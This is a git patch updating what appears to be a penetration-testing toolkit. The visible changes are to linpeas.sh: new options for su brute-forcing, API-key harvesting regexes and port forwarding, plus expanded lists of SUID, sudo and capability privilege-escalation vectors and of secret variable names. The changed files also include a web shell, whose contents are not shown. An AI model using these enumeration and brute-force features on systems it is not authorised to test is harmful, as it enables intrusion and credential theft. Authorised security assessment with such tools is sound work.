From 80abe85b8533a73a7dfa99a496d6b6f3f15be286 Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Mon, 5 Dec 2022 10:09:01 +0100 Subject: [PATCH] Project Update --- crawl_urls.py | 5 +- linpeas.sh | 3866 ++++++++++++++++++++++-------------- linux-exploit-suggester.sh | 60 +- lse.sh | 311 ++- p0wny-shell.php | 14 +- web_service_finder.py | 3 +- win/accesschk.exe | Bin 1379216 -> 1468320 bytes win/accesschk64.exe | Bin 759680 -> 810416 bytes win/winPEAS.bat | 36 +- win/winPEAS.exe | Bin 1931776 -> 1969664 bytes win/winPEASx64.exe | Bin 1931264 -> 1968640 bytes 11 files changed, 2722 insertions(+), 1573 deletions(-) diff --git a/crawl_urls.py b/crawl_urls.py index 1f31cfa..c5c326e 100755 --- a/crawl_urls.py +++ b/crawl_urls.py @@ -79,14 +79,15 @@ class Crawler: self.queue.put(parts._replace(netloc=self.domain, scheme=self.scheme,fragment="").geturl()) def collect_urls(self, page): - soup = BeautifulSoup(page, "html.parser") + if not isinstance(page, BeautifulSoup): + page = BeautifulSoup(page, "html.parser") urls = set() attrs = ["src","href","action"] tags = ["a","link","script","img","form"] for tag in tags: - for e in soup.find_all(tag): + for e in page.find_all(tag): for attr in attrs: if e.has_attr(attr): urls.add(e[attr]) diff --git a/linpeas.sh b/linpeas.sh index 2b353d2..c47f1dd 100644 --- a/linpeas.sh +++ b/linpeas.sh @@ -55,38 +55,54 @@ SUPERFAST="" DISCOVERY="" PORTS="" QUIET="" -CHECKS="system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files" +CHECKS="system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex" +SEARCH_IN_FOLDER="" +ROOT_FOLDER="/" WAIT="" PASSWORD="" NOCOLOR="" DEBUG="" AUTO_NETWORK_SCAN="" EXTRA_CHECKS="" +REGEXES="" +PORT_FORWARD="" THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" [ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2 [ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2 [ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2 HELP=$GREEN"Enumerate and search Privilege Escalation vectors. ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. - ${YELLOW}-h${BLUE} To show this message - ${YELLOW}-q${BLUE} Do not show banner - ${YELLOW}-e${BLUE} Perform extra enumeration - ${YELLOW}-s${BLUE} SuperFast (don't check some time consuming checks) - Stealth mode - ${YELLOW}-a${BLUE} All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly - ${YELLOW}-w${BLUE} Wait execution between big blocks of checks - ${YELLOW}-N${BLUE} Do not use colours - ${YELLOW}-D${BLUE} Debug mode - ${YELLOW}-P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' - ${YELLOW}-o${BLUE} Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files). Select a comma separated list. - ${YELLOW}-L${BLUE} Force linpeas execution. - ${YELLOW}-M${BLUE} Force macpeas execution. - ${YELLOW}-d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 - ${YELLOW}-p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 - ${YELLOW}-i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 - ${YELLOW}-t${BLUE} Automatic network scan (host discovery and port scanning) - This option writes to files - $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed$NC" + ${GREEN} Checks: + ${YELLOW} -o${BLUE} Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list. + ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) + ${YELLOW} -e${BLUE} Perform extra enumeration + ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files + ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) + ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' + ${YELLOW} -D${BLUE} Debug mode + + ${GREEN} Network recon: + ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files + ${YELLOW} -d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 + ${YELLOW} -p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + ${YELLOW} -i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 + $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed + + ${GREEN} Port forwarding: + ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a local IP to a remote IP + + ${GREEN} Firmware recon: + ${YELLOW} -f ${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder + + ${GREEN} Misc: + ${YELLOW} -h${BLUE} To show this message + ${YELLOW} -w${BLUE} Wait execution between big blocks of checks + ${YELLOW} -L${BLUE} Force linpeas execution + ${YELLOW} -M${BLUE} Force macpeas execution + ${YELLOW} -q${BLUE} Do not show banner + ${YELLOW} -N${BLUE} Do not use colours$NC" -while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do +while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do case "$opt" in h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; a) FAST="";EXTRA_CHECKS="1";; @@ -104,6 +120,16 @@ while getopts "h?asd:p:i:P:qo:LMwNDte" opt; do D) DEBUG="1";; t) AUTO_NETWORK_SCAN="1";; e) EXTRA_CHECKS="1";; + r) REGEXES="1";; + f) SEARCH_IN_FOLDER=$OPTARG; + if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/" + SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; + fi; + ROOT_FOLDER=$SEARCH_IN_FOLDER; + REGEXES="1"; + CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_files,api_keys_regex";; + + F) PORT_FORWARD=$OPTARG;; esac done @@ -215,15 +241,15 @@ print_banner(){ print_support () { printf """ - ${GREEN}/---------------------------------------------------------------------------\\ - | ${BLUE}Do you like PEASS?${GREEN} | - |---------------------------------------------------------------------------| - | ${YELLOW}Become a Patreon${GREEN} : ${RED}https://www.patreon.com/peass${GREEN} | - | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} | - | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | - |---------------------------------------------------------------------------| - | ${BLUE}Thank you! ${GREEN} | - \---------------------------------------------------------------------------/ + ${GREEN}/---------------------------------------------------------------------------------\\ + | ${BLUE}Do you like PEASS?${GREEN} | + |---------------------------------------------------------------------------------| + | ${YELLOW}Get the latest version${GREEN} : ${RED}https://github.com/sponsors/carlospolop${GREEN} | + | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@carlospolopm${GREEN} | + | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | + |---------------------------------------------------------------------------------| + | ${BLUE}Thank you! ${GREEN} | + \---------------------------------------------------------------------------------/ """ } @@ -237,7 +263,7 @@ printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC; echo "" printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" echo "" -printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist\n"$NC +printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," echo " RED: You should take a look to it" | sed "s,RED,${SED_RED}," @@ -365,13 +391,13 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" #To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|' -sidVB='/ab$|/agetty$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/bash$|/bridge$|/busybox$|/byebug$|/bzip2$|/capsh$|/cat$|/chmod$|/chown$|/chroot$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dd$|/dialog$|/diff$|/dig$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/emacs$|/env$|/eqn$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/join$|/jq$|/jrunscript$|/ksh$|/ksshell$|/latex$|/ldconfig$|/less$|/lftp$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/more$|/msgattrib$|/msgcat$|/msgconv$' -sidVB2='/msgfilter$|/msgmerge$|/msguniq$|/mv$|/mysql$|/nano$|/nasm$|/nawk$|/nc$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/octave$|/od$|/openssl$|/openvpn$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pg$|/php$|/pic$|/pico$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmquery$|/rsync$|/run-parts$|/rview$|/rvim$|/sash$|/scp$|/sed$|/setarch$|/shuf$|/slsh$|/socat$|/soelim$|/sort$|/sqlite3$|/ss$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tbl$|/tclsh$|/tee$|/telnet$|/tex$|/tftp$|/tic$|/time$|/timeout$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/update-alternatives$|/uudecode$|/uuencode$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/zip$|/zsh$|/zsoelim$' +sidVB='/ab$|/agetty$|/alpine$|/ar$|/aria2c$|/arj$|/arp$|/as$|/ascii-xfr$|/ash$|/aspell$|/atobm$|/awk$|/base32$|/base64$|/basenc$|/basez$|/bash$|/bridge$|/busybox$|/byebug$|/bzip2$|/capsh$|/cat$|/chmod$|/choom$|/chown$|/chroot$|/cmp$|/column$|/comm$|/composer$|/cp$|/cpio$|/cpulimit$|/csh$|/csplit$|/csvtool$|/cupsfilter$|/curl$|/cut$|/dash$|/date$|/dd$|/dialog$|/diff$|/dig$|/dmsetup$|/docker$|/dosbox$|/dvips$|/ed$|/efax$|/emacs$|/env$|/eqn$|/expand$|/expect$|/file$|/find$|/fish$|/flock$|/fmt$|/fold$|/gawk$|/gcore$|/gdb$|/genie$|/genisoimage$|/gimp$|/ginsh$|/git$|/grep$|/gtester$|/gzip$|/hd$|/head$|/hexdump$|/highlight$|/hping3$|/iconv$|/iftop$|/install$|/ionice$|/ip$|/ispell$|/jjs$|/join$|/jq$|/jrunscript$|/ksh$|/ksshell$|/kubectl$|/latex$|/ldconfig$|/less$|/lftp$|/logsave$|/look$|/lua$|/lualatex$|/luatex$|/make$|/mawk$|/more$|/mosquitto$|/msgattrib$|/msgcat$|/msgconv$|/msgfilter$|/msgmerge$|/msguniq$|/multitime$' +sidVB2='/mv$|/mysql$|/nano$|/nasm$|/nawk$|/nc$|/nft$|/nice$|/nl$|/nm$|/nmap$|/node$|/nohup$|/octave$|/od$|/openssl$|/openvpn$|/paste$|/pdflatex$|/pdftex$|/perf$|/perl$|/pg$|/php$|/pic$|/pico$|/pidstat$|/pr$|/pry$|/psftp$|/ptx$|/python$|/rake$|/readelf$|/restic$|/rev$|/rlwrap$|/rpm$|/rpmdb$|/rpmquery$|/rpmverify$|/rsync$|/run-parts$|/rview$|/rvim$|/sash$|/scanmem$|/scp$|/scrot$|/sed$|/setarch$|/setfacl$|/shuf$|/slsh$|/socat$|/soelim$|/sort$|/sqlite3$|/ss$|/ssh-keygen$|/ssh-keyscan$|/sshpass$|/start-stop-daemon$|/stdbuf$|/strace$|/strings$|/sysctl$|/systemctl$|/tac$|/tail$|/tar$|/taskset$|/tasksh$|/tbl$|/tclsh$|/tee$|/telnet$|/tex$|/tftp$|/tic$|/time$|/timeout$|/tmate$|/troff$|/ul$|/unexpand$|/uniq$|/unshare$|/unzip$|/update-alternatives$|/uudecode$|/uuencode$|/view$|/vigr$|/vim$|/vimdiff$|/vipw$|/watch$|/wc$|/wget$|/whiptail$|/xargs$|/xdotool$|/xelatex$|/xetex$|/xmodmap$|/xmore$|/xxd$|/xz$|/yash$|/zip$|/zsh$|/zsoelim$' cfuncs='file|free|main|more|read|split|write' -sudoVB1=" \*|env_keep\+=LD_PRELOAD|ab$|ansible-playbook$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|base32$|base64$|basenc$|bash$|bpftrace$|bridge$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|capsh$|cat$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|chown$|chroot$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dd$|dialog$|diff$|dig$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dpkg$|dvips$|easy_install$|eb$|ed$|efax$|emacs$|env$|eqn$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|ftp$|gawk$|gcc$|gcore$|gdb$|gem$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|join$|journalctl$|jq$|jrunscript$|knife$|ksh$|ksshell$|latex$|ldconfig$|less$|lftp$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|more$" -sudoVB2="mount$|msgattrib$|msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|mv$|mysql$|nano$|nasm$|nawk$|nc$|neofetch$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|octave$|od$|openssl$|openvpn$|openvt$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|pg$|php$|pic$|pico$|pip$|pkexec$|pkg$|pr$|pry$|psftp$|psql$|ptx$|puppet$|python$|rake$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmquery$|rsync$|ruby$|run-mailcap$|run-parts$|rview$|rvim$|sash$|scp$|screen$|script$|sed$|service$|setarch$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|sort$|split$|sqlite3$|ss$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|taskset$|tbl$|tclsh$|tcpdump$|tee$|telnet$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmux$|top$|troff$|ul$|unexpand$|uniq$|unshare$|update-alternatives$|uudecode$|uuencode$|valgrind$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yum$|zip$|zsh$|zsoelim$|zypper$" -sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" +sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|ab$|alpine$|ansible-playbook$|apt-get$|apt$|ar$|aria2c$|arj$|arp$|as$|ascii-xfr$|ascii85$|ash$|aspell$|at$|atobm$|awk$|base32$|base58$|base64$|basenc$|basez$|bash$|bpftrace$|bridge$|bundle$|bundler$|busctl$|busybox$|byebug$|bzip2$|c89$|c99$|capsh$|cat$|cdist$|certbot$|check_by_ssh$|check_cups$|check_log$|check_memory$|check_raid$|check_ssl_cert$|check_statusfile$|chmod$|choom$|chown$|chroot$|cmp$|cobc$|column$|comm$|composer$|cowsay$|cowthink$|cp$|cpan$|cpio$|cpulimit$|crash$|crontab$|csh$|csplit$|csvtool$|cupsfilter$|curl$|cut$|dash$|date$|dd$|dialog$|diff$|dig$|dmesg$|dmidecode$|dmsetup$|dnf$|docker$|dosbox$|dpkg$|dvips$|easy_install$|eb$|ed$|efax$|emacs$|env$|eqn$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|fping$|ftp$|gawk$|gcc$|gcore$|gdb$|gem$|genie$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|join$|journalctl$|jq$|jrunscript$|jtag$|knife$|ksh$|ksshell$|kubectl$|latex$|latexmk$|ldconfig$|less$|lftp$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|more$|mosquitto$|mount$|msgattrib$" +sudoVB2="msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|multitime$|mv$|mysql$|nano$|nasm$|nawk$|nc$|neofetch$|nft$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|octave$|od$|openssl$|openvpn$|openvt$|opkg$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|pg$|php$|pic$|pico$|pidstat$|pip$|pkexec$|pkg$|pr$|pry$|psftp$|psql$|ptx$|puppet$|python$|rake$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmdb$|rpmquery$|rpmverify$|rsync$|ruby$|run-mailcap$|run-parts$|rview$|rvim$|sash$|scanmem$|scp$|screen$|script$|scrot$|sed$|service$|setarch$|setfacl$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|sort$|split$|sqlite3$|ss$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|task$|taskset$|tasksh$|tbl$|tclsh$|tcpdump$|tee$|telnet$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmate$|tmux$|top$|troff$|ul$|unexpand$|uniq$|unshare$|unzip$|update-alternatives$|uudecode$|uuencode$|valgrind$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xdotool$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yash$|yum$|zathura$|zip$|zsh$|zsoelim$|zypper$" +sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" sudoG="NOEXEC" capsVB="cap_sys_admin:mount|python \ @@ -386,7 +412,7 @@ cap_net_raw:python|tcpdump" capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module" -containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override" +containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin" OLDPATH=$PATH ADDPATH=":/usr/local/sbin\ @@ -436,7 +462,7 @@ fi Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|') #This variables are dived in several different ones because NetBSD required it -pwd_inside_history="enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:" +pwd_inside_history="enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:" pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID" pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID" @@ -474,8 +500,11 @@ while $SEDOVERFLOW; do #else # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` #fi - Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[^\*][^\ ]*\ \*" - Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" + Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*" + Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm + if ! [ "$Wfolder" ]; then + Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" + fi printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 if [ $? -eq 0 ]; then SEDOVERFLOW=false @@ -494,15 +523,15 @@ TIMEOUT="$(command -v timeout 2>/dev/null)" STRACE="$(command -v strace 2>/dev/null)" STRINGS="$(command -v strings 2>/dev/null)" -shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" +shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" notBackup="/tdbbackup$|/db_hotbackup$" 